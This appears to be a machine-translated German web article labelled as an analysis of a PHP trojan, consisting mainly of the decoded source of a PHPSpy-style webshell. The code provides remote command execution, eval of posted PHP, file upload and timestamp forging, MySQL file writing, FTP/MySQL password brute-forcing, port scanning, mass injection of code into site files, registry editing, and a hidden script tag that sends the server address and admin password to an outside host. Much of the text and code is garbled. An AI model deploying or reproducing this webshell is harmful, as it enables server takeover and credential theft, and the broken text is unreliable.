Heim  >  Artikel  >  php教程  >  Analyse des PHP-Trojaners (Verschlüsselungsknacken)

Analyse des PHP-Trojaners (Verschlüsselungsknacken)

黄舟
黄舟Original
2016-12-14 13:03:394345Durchsuche

Die Analyse zeigt, dass dieser Trojaner Base64-codiert und dann komprimiert ist. Obwohl entsprechende Vertraulichkeitsmaßnahmen ergriffen wurden, muss der PHP-Code ausgeführt werden und letztendlich PHP-Quellcode generieren. Daher wird das folgende PHP-Programm geschrieben, um ihn zu dekodieren, zu dekomprimieren und in eine Datei zu schreiben.
Der Dekodierungs- und Dekomprimierungscode lautet wie folgt:

Der Code lautet wie folgt:


function writetofile($filename, $ data)
{ //File Writing
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false; flock($filenum,LOCK_EX );
$file_data=fwrite($filenum,$data);
return true; >


Dann führen Sie es in der PHP-Umgebung aus. Sie erhalten die PHP-Klartextdatei wie folgt:


Kopieren Sie den Code. Der Code lautet wie folgt:


error_reporting(7);
ob_start();
$mtime = explosion(' ', microtime());
$starttime = $mtime[1] + $mtime[0 ];
@set_time_limit(0);
//Der nicht sichere Modus kann die obige Funktion zum Abbrechen nach einer Zeitüberschreitung verwenden.
/*====================== Programmkonfiguration===================== =* /
// Ob eine Passwortverifizierung erforderlich ist, 1 bedeutet, dass eine Verifizierung erforderlich ist, andere Zahlen bedeuten eine direkte Eingabe. Die folgenden Optionen sind ungültig:
$admin['check'] = "1"; / Wenn eine Passwortüberprüfung erforderlich ist, ändern Sie bitte das Anmeldepasswort
//Standard-Porttabelle
$hidden = "44997"
$admin['port'] = "80,139,21,3389,3306, 43958,1433,5631";
//Die zum Springen verwendete Sekunde
$admin['jumpsecond'] = "1";
//Der zum FTP-Cracken verwendete Verbindungsport
$alexa = "yes";
/ / Ob das Alexa-Ranking angezeigt werden soll, ja oder nein
$admin['ftpport'] = "21"
// Ob PHPspy selbst erlauben soll, die Zeit des zu ändern bearbeitete Datei zum Erstellungszeitpunkt (ja/nein)
$retime = "no";// Der Standardspeicherort cmd.exe wird von der proc_open-Funktion verwendet. Bitte ändern Sie ihn entsprechend es ist ein Winnt-System, es kann noch im Programm angegeben werden)
$cmd = "cmd.exe"
// Unten wird die Copyright-Spalte angezeigt, die von phpspy angezeigt wird, da sie von vielen als Schlüsselwort angesehen wird Programme und getötet, Yuhan~~ ermöglichen eine Anpassung. Ändern Sie es nicht, wenn Sie es immer noch nicht verstehen ~~

/*====================== Ende der Konfiguration=== ========= =========*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin ['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9');
$copyurll = base 64_decode('Jz4 8L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? ini_get ('register_globals') : get_cfg_var('register_globals ');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*=================== Authentifizierung===== ========= =======*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout ") {setcookie ("adminpass", "");echo "";echo "Abmeldung erfolgreich...

>>";exit;}
if ($_POST['do'] == 'login ') {$thepass= trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24* 3600));echo " ";echo "".$copyurl.$serveru."&p=".$ serverp.$copyurll." ";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();} } else {loginpage();}}
/*===================== Die Verifizierung endet ====== ======= ========*/
// Bestimmen Sie den Status von magic_quotes_gpc
if (get_magic_quotes_gpc()) {$_GET = Stripslashes_array($_GET);$_POST = Stripslashes_array($ _POST);}
//Code von mix.dll
$mixdll = "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"; 

function shellL($command){ 
global $windows,$disablefunctions; 
$exec = '';$output= ''; 
$dep[]=array('pipe','r');$dep[]=array('pipe','w'); 
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean ();} 
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } 
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("n",$output);$exec= $output;} 
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} 
elseif(is_resource($output=popen( $command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} 
elseif(is_resource($res=proc_open($ command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} 
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=( isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run(" cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} 
return $exec; 

// 查看 PHPINFO 
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看";exit; 
}if($_GET['action'] == "nowuser") {$user = get_current_user(); 
if(!$user) $user = "报告长官,主机变态,无法获取当前进行用户名!"; 
echo"当前进程用户名:$user"; 
Ausgang; 

if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]
if($action=="mysqldown"){ 
$link=@mysql_connect($host,$user,$password); 
if (!$link) { 
$downtmp = '数据库连接失败: ' . mysql_error(); 
}else{ 
$query="select load_file('".$filename."');"; 
$result = @mysql_query($query, $link); 
if(!$result){ 
$downtmp = "读取失败,可能是文件不存在或是没file权限。
".mysql_error(); 
}sonst{ 
while ($row = mysql_fetch_array($result)) { 
$filename = basename($filename); 
if($rardown=="yes"){ 
$zip = NEW Zip; 
$zipfiles[]=Array("$filename",$row[0]); 
$zip->Add($zipfiles,1); 
$code = $zip->get_file(); 
$filename = "".$filename.".rar"; 
}else{ 
$code = $row[0]; 

header("Content-type: application/octet-stream"); 
header("Accept-Ranges: Bytes"); 
header("Accept-Length: ".strlen($code)); 
header("Content-Disposition: attachment;filename=$filename"); 
echo($code); 
Ausgang; 




// 在线代理 
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST[' url']);echo ($proxycontents) ? $proxycontents : "


获取 URL 内容失败

";exit; 

// 下载文件 
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info = explosion('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit ;} 

// 直接下载备份数据库 
if ($_POST['backuptype'] == 'download') { 
@mysql_connect($servername,$dbusername,$dbpassword) oder die("数据库连接失败"); 
@mysql_select_db($dbname) or die("选择数据库失败"); 
$table = array_flip($_POST['table']); 
$result = mysql_query("SHOW tables"); 
echo ($result) ? NULL: "Fehler: ".mysql_error(); 

$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"); 
header('Inhaltstyp: Anwendung/unbekannt'); 
header('Content-Disposition: attachment; filename='.$filename); 
$mysqldata = ''; 
while ($currow = mysql_fetch_array($result)) { 
if (isset($table[$currow[0]])) { 
$mysqldata.= sqldumptable($currow[0]); 
$mysqldata.= $mysqldata."rn"; 


mysql_close(); 
Ausgang; 


// 程序目录 
$pathname=str_replace('\','/',dirname(__FILE__)); 
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]); 

// 获取当前路径 
if (!isset($dir) or empty($dir)) { 
$dir = "."; 
$nowpath = getPath($pathname, $dir); 
} else { 
$dir=$_GET['dir']; 
$nowpath = getPath($pathname, $dir); 


// 判断读写情况 
$dir_writeable = (dir_writeable($nowpath)) ? „可写“ : „不可写“; 
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; 
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : ""; 

$tb = neue FORMEN; 

?> 
 
 
 
 
 
 
<?php echo"$myneme"?> 
 
 
//$_SERVER["DOCUMENT_ROOT"] 
$tb->tableheader(); 
$tb->tdbody('
'.$_SERVER['HTTP_HOST'].''.date("Y年m月d日 h:i:s",time()).''. gethostbyname($_SERVER['SERVER_NAME']).'
','center','top'); 
$tb-> ;tdbody('根目录 | Shell目录 | 环境变量 | 在线代理'.$reg.$phpinfo.' | WebShell | 杂项破解 | 解压mix.dll | 注销登录'); 
$tb->tdbody('批量挂马 | Http文件下载 ">文件查查找 | 执行php脚本 | 执行SQL语句 | Func反弹Shell | MySQL备份 Serv-U提权'); 
$tb->tablefooter(); 
?> 

 
 
$tb->headerform(array('method'=>'GET','content'=>'

程序路径: '.$pathname.'
当前目录(' .$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
跳转目录: '.$tb- >makeinput('dir',''.$nowpath.'','','text','80'). '.$tb->makeinput('','name','',' senden').' 〖支持绝对路径和相对路径〗')); 

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content' =>'上件到当前目录: '.$tb->makeinput('uploadfile','','','file').' ','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); 

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '. $tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit'))); 

$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb-> makeinput('createdirectory','确定','','submit'))); 
?> 

 

 
/*==================== 执行操作 开始 ============== =======*/ 
echo "

n"; 
// 删除文件 
if (!empty($delfile)) { 
if (file_exists($delfile)) { 
echo (@unlink($delfile)) ? $delfile." 删除成功!" : „文件删除失败!“; 
} else { 
echo basename($delfile)." 文件已不存在!"; 



// 删除目录 
elseif (!empty($deldir)) { 
$deldirs="$dir/$deldir"; 
if (!file_exists("$deldirs")) { 
echo "$deldir 目录已不存在!"; 
} else { 
echo (deltree($deldirs)) ? „目录删除成功!“ : „目录删除失败!“; 



// 创建目录 
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { 
if (!empty($ neues Verzeichnis)) { 
$mkdirs="$dir/$newdirectory"; 
if (file_exists("$mkdirs")) { 
echo "该目录已存在!"; 
} else { 
echo (@mkdir("$mkdirs",0777)) ? „创建目录成功!“ : „创建失败!“; 
@chmod("$mkdirs",0777); 




// 上传文件 
elseif ($doupfile) { 
echo (@copy($_FILES['uploadfile']['tmp_name' ],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? „上传成功!“ : „上传失败!“; 

elseif($action=="mysqlup"){ 
$filename = $_FILES['upfile']['tmp_name']; 
if(!$filename) { 
echo"没有选择要上传的文件。。"; 
}else{ 
$shell = file_get_contents($filename); 
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile']['name'];
$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
$link=@mysql_connect($host,$user,$password);
if( !$link){
echo „Anmeldung fehlgeschlagen“.mysql_error();
}else{
$result = mysql_query($shell, $link);
if($result){
echo“ Der Vorgang war erfolgreich. Die Datei wurde erfolgreich auf „.$host.“ hochgeladen und der Dateiname war „.$uppath.“/“.$upname..“; 🎜>echo“ Der Upload ist fehlgeschlagen. Grund: „.mysql_error();
}
}
}

}
elseif($action=="mysqldown"){
if(!empty($ downtmp)) echo $downtmp;
// Datei bearbeiten
elseif ($_POST['do'] == 'doeditfile') {
if (! empty($_POST['editfilename '])) {
if(!file_exists($editfilename)) unset($retime);
if($time==$now) $time = @filemtime($editfilename );
$time2 = @date("Y-m-d H:i:s",$time>$filename="$editfilename"; w");
if($_POST['change']=="yes"){
$filecontent = "?".">".$_POST['filecontent']."$filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "";
}else{
$filecontent = $_POST['filecontent'];
}
echo $msg=@fwrite ($fp,$filecontent) ? „Schreiben in Datei erfolgreich!“: „Schreiben fehlgeschlagen!“; „ja“){
echo“ Yuyu automatischer Vorgang:“;
echo $msg=@touch($filename,$time) ? „Ändern Sie die Datei in „.$time2.“ Erfolgreich!“ um die Dateizeit zu ändern!";
}
} else {
echo „Bitte geben Sie den Dateinamen ein, den Sie bearbeiten möchten!";
}
}
//Datei-Download
elseif ($_POST['do' ] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if(!$contents){
echo „Die herunterzuladenden Daten können nicht gelesen werden“;
}
elseif(file_exists($path)){
echo“Leider existiert die Datei „.$path.“ bereits, bitte ändern Sie den Speicherort Dateiname. ";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "Datei erfolgreich heruntergeladen!" : " Datei konnte beim Schreiben nicht heruntergeladen werden!";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if (!file_exists($_POST['mixto'])){
$tmp = base64_decode($mixdll);
$tmp = gzinflate($tmp>$fp = fopen($_POST['); mixto'],"w");
echo $msg=@fwrite($fp,$tmp) : „Ist dieses Verzeichnis nicht beschreibbar?“ !";
fclose($fp);
}else{
echo" Nicht wahr? ".$_POST['mixto']."Bereits vorhanden~";
}
}
// Dateieigenschaften bearbeiten
elseif ($_POST['do'] == 'editfileperm ') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10); .“/“.$file,$fileperm)) ? „Attribut erfolgreich geändert!“ : „Änderung fehlgeschlagen!“ Die geänderten Attribute sind: „.substr( base_convert(@; fileperms($dir."/".$file),10,8),-4);
} else {
echo "Bitte geben Sie die Attribute ein, die Sie festlegen möchten!"; >}

// Datei umbenennen
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST[ 'newname ']." Existiert bereits, bitte erneut eingeben!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? ).“ Der Name wurde erfolgreich in „.$_POST[‘newname‘]“ geändert.“ ! „Änderung des Dateinamens fehlgeschlagen!“; Sie möchten den Dateinamen ändern!";
}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"Suche nach Schlüsselwörtern:[".$oldkey."], die Suchergebnisse werden unten angezeigt:"
if($type2 == "getpath"){
echo „Wenn Sie die Maus über die Ergebnisdatei bewegen, wird die Anzeige teilweise unterbrochen.“; >find ($path);
}else{
echo „Sie möchten nach Garnelen suchen? Möchten Sie nach Garnelen suchen? Gibt es Garnelen, die Sie überprüfen möchten?“; 🎜>}
elseif ( $_GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST['mm']);
}
elseif ($_GET['action '] == "plgm") {
$action = '?action=plgmok';
$gm = "";
$tb->tableheader();
$tb->formheader($action,'Batch horse mount ');
$tb ->tdbody('Website-Batch-Mounting-Programm-PHP-Version','center');
$tb->tdbody('Dateispeicherort: '.$tb->makeinput( 'dir',''. $_SERVER["DOCUMENT_ROOT"].'','','text','60').'
Um den Code aufzuhängen:'.$tb->maketextarea(' mm',$gm,'50 ','5').''.$tb->makehidden('do','Batch mount horse').'
'.$tb->makeinput( 'submit','Start horse mount ','','submit'),'center','1','35');
echo ""; ;tablefooter();
}//end plgm
// Klonzeit
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST ['curfile'])) {
echo „Die zu ändernde Datei existiert nicht!“; else {
if (!@file_exists($_POST['tarfile'])) {
echo „Die zu referenzierende Datei existiert nicht!“;
} else {
$time=@filemtime($_POST['tarfile']); 'curfile'],$time,$time)) ? Die Änderungszeit von basename($_POST['curfile'])." wurde erfolgreich in ".date("Y-m-d H:i:s",$time) geändert. „!“: „Die Änderungszeit der Datei konnte nicht geändert werden!“;
}
}

// Benutzerdefinierte Zeit
elseif ($_POST['do '] == 'modmytime') {
if (!@file_exists ($_POST['curfile'])) {
echo "Die zu ändernde Datei existiert nicht!";
$year=$_POST['year'];
$month =$_POST['month'];
$data=$_POST['data']; ['hour'];
$minute=$_POST['minute'] ;
$second=$_POST['second']; Monat) AND !empty($data) AND !empty($hour) AND !empty ($minute) AND !empty($second)) {
$time=strtotime("$data $month $year $hour: $minute:$second");
echo (@touch($_POST[ 'curfile'],$time,$time)) ? Die Änderungszeit von basename($_POST['curfile'])." geändert in „.date(“Y-m-d H:i:s“,$time).“ : „Änderungszeit der Datei fehlgeschlagen!“;
}
}
elseif($do =='port'){
$tmp = explosion(",", $port);
$count = count($tmp); ;$i<$count;$i++){
$fp = @fsockopen($host, $ tmp[$i], $errno, $errstr, 1);
if($fp) echo "Gefunden ".$host."Der Host hat den Port geöffnet.$tmp[$i]."

}
}
/*
Der Code hier ist sehr kompliziert. Ehrlich gesagt weiß ich nicht einmal, was ich geschrieben habe.
Zum Glück funktioniert es, also ist es mir egal, wenn es jemand sieht, schreibe ich es einfach um. */
elseif ($do == 'crack') {//Es wird sowieso als globale Variable registriert.
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn="1"
}else{
$nowturn = $turn+1;
$now = $turn*$onetime; $tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo" überschreitet die Wörterbuchkapazität~if Sorry für das Scheitern beim Knacken des letzten Prozesses. ";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now; $i++){
if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i])); ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
if($sa)
{
$t = "Get".$user Das Passwort für.“ ist „.$tmp[$i].““;if(!$t){
echo "Dictionary total".$ count.“, jetzt von „.$first.“ bis „.$now.“, „.$admin[jumpsecond].“ Sekunden später werden die „.$onetime.“-Passwörter getestet. >>> ;
Die Entschlüsselung von „.$tt“ erfordert „.$tt.“ und jetzt ist es die „.$turn“-Entschlüsselungszeit }
else {
echo "$t"
}
}else{
echo "Die Wörterbuchdatei existiert nicht, bitte bestätigen.";
}
elseif($do =='port'){
if(!eregi("-",$port)){
$tmp = explosion(",",$port ) ;
$count = count($tmp);
$first = "1"; = $tmp[0];
$count = $tmp[1];

}
for($i=$first;$i<$count;$i++){
if(!eregi("-",$port)){
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp ) echo „Discover“.$host.“Der Host hat den Port geöffnet.“

}else{
$fp = @fsockopen($host, $i , $errno, $errstr, 1);
if($fp) echo „Gefunden“.$host.“Der Host hat den Port geöffnet.“
“; > }

}
//Mit MYSQL verbinden
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname) ) {
echo „Datenbankverbindung erfolgreich!“;
mysql_close();
} else {
echo mysql_error();

/ SQL-Anweisung ausführen
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("Datenbankverbindung fehlgeschlagen"); @mysql_select_db ($dbname) or die("Datenbank konnte nicht ausgewählt werden");
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? " : " Fehler: ".mysql_error();
mysql_close();
}

// Sicherungsvorgang
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
echo „Bitte wählen Sie die zu sichernde Datentabelle und die Sicherungsmethode aus!“;
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("Datenbankverbindung fehlgeschlagen");
@mysql_select_db( $dbname) or die("Datenbank konnte nicht ausgewählt werden");
$table = array_flip($_POST['table']);
$filehandle = @fopen($path," w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "Fehler: ".mysql_error();
while ($currow = mysql_fetch_array( $result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle); ($filehandle,"nnn" );
}
}
fclose($filehandle);
echo "Die Datenbank wurde erfolgreich gesichert bis".$path."";
mysql_close(
} else {
echo "Sicherung fehlgeschlagen, bitte bestätigen ob der Zielordner über Schreibberechtigungen verfügt! >if(eregi("unzipto:",$localfile)){
$path = "".$dir."/".str_replace("unzipto:",$localfile).""; >$zip = new Zip;
$zipfile=$dir.''/''$dl[0]; ($array);
$f=0;
$d=0;
for($i=0;$i<$count;$i++) {
if($array[$ i][Ordner]==0 ) {
if($zip->Extract($zipfile,$path,$i)>0) $f++>else $d++;
}
if($i==$f+$d) echo „$dl[0] dekomprimiert nach „.$path.“ Erfolgreich
($f files$d-Verzeichnis)“ ;
elseif($f==0) echo „$dl[0] konnte nicht nach „.$path“ dekomprimiert werden.“;
else echo „$dl[0] wurde nicht vollständig dekomprimiert}else{
$zipfile="";
$zip = new Zip;
for($k=0;isset ($dl[$k ]);$k++)
{
$zipfile=$dir."/".$dl[$k];
if(is_dir($zipfile))
{
unset( $zipfilearray);
addziparray($dl[$k]);
for($i=0;$zipfilearray[$i];$i++)
{
$filename=$zipfilearray[ $i];
$filesize=@filesize($dir."/".$zipfilearray[$i]);
$fp=@fopen($dir."/". $filename,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp>}
}
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile);
$fp=@fopen($zipfile,rb);
$zipfiles[]=Array ($filename,@fread($fp,$filesize));
@fclose($fp>}
}
$zip->Add($ zipfiles,1); 🎜>$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."
if(empty ($localfile)){
header("Content-type: application/octet-stream"); ​​​​
header("Accept-Ranges: bytes");
header("Accept-Length: ". strlen($code ));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
exit;
}else{
$fp = @fopen("".$dir."/".$localfile."","w"); ,$code) ? „Komprimieren und speichern“.$dir.“/“.$localfile.“Lokaler Erfolg! !" : "Verzeichnis".$dir."Keine Schreibberechtigung!";
@fclose($fp);
}
}
} else {
echo "Bitte wählen Sie aus, was Sie möchten möchte die heruntergeladene Datei verpacken!";
}
}
// Shell.Application run program
elseif(($_POST['do'] == 'programrun') AND !empty($ _POST ['program'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); > ;ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') : „Das Programm wurde nicht ausgeführt.“ run!";
}
// Überprüfen Sie den Status der PHP-Konfigurationsparameter
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'] )) {
echo "Konfigurationsparameter".$_POST['phpvarname']." Erkennungsergebnis: ".getphpcfg($_POST['phpvarname'])."";
}
// Lesen die Registrierung
elseif (($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell ');
var_dump(@$shell->RegRead($_POST['readregname']));

// In die Registrierung schreiben
elseif(($regwrite ) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W '.'Scr'. 'ipt.S'.'hell');
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST[ 'regtype']);
echo ($a=='0') ? "Registrierungsschlüsselwert wird erfolgreich geschrieben!": "Schreibe ".$_POST['regname'].", ".$_POST['regval ']. ", ".$_POST['regtype']."
}
// Löschen Sie die Registrierung
elseif(($regdelete) AND !empty($_POST['delregname ']) ) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); ($_POST ['delregname']);
echo ($a=='0') : "Delete ".$_POST['delregname']."
}
else {
echo „$notice“;echo "Programm | pcAnywhere | 开始程序 | AllUsers
for ($i=66;$i<=90;$i++){$drive= chr($i).':'; 
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\";} 



echo "< ;/b>

n"; 
/*==================== 执行操作 结束 ===================== */ 
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { 
$ tb->tableheader(); 
?> 
 
文件 
创建日期 
最后修改 
大小 
属性 
操作 
 
 
// 目录列表 
$dirs=@opendir($dir); 
$dir_i = '0'; 
while ($file=@readdir($dirs)) { 
$filepath="$dir/$file"; 
$a=@is_dir($filepath); 
if($a=="1"){ 
if($file!=".." && $file!=".") { 
$ctime=@date("Y-m-d H: i:s",@filectime($filepath)); 
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); 
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4); 
echo "n"; 
echo " [$file< /a>]n"; 
echo " $ctimen"; 
echo " $mtimen"; 
echo "
Searchn"; 
echo "
$dirpermn"; 
echo " | Delete< ; /a> |. Renamen";
echo "n";
$dir_i++;
} else {
if($file=="..") {
echo "n";
echo "
Zurück zum übergeordneten Verzeichnis< ; /td>n";
echo "n";
}
}
}
}// while
@closedir($dirs);
?>
🎜>< {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@ filesize ($filepath);
$size=$size/1024;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath ) ) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime( $ filepath));
} else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath) " ";
$mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."< span>";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "n";
echo " ";
echo "";
echo "$filen" ;
echo " $ctimen";
echo " n";
echo " $size td>n";
echo " $filepermn";
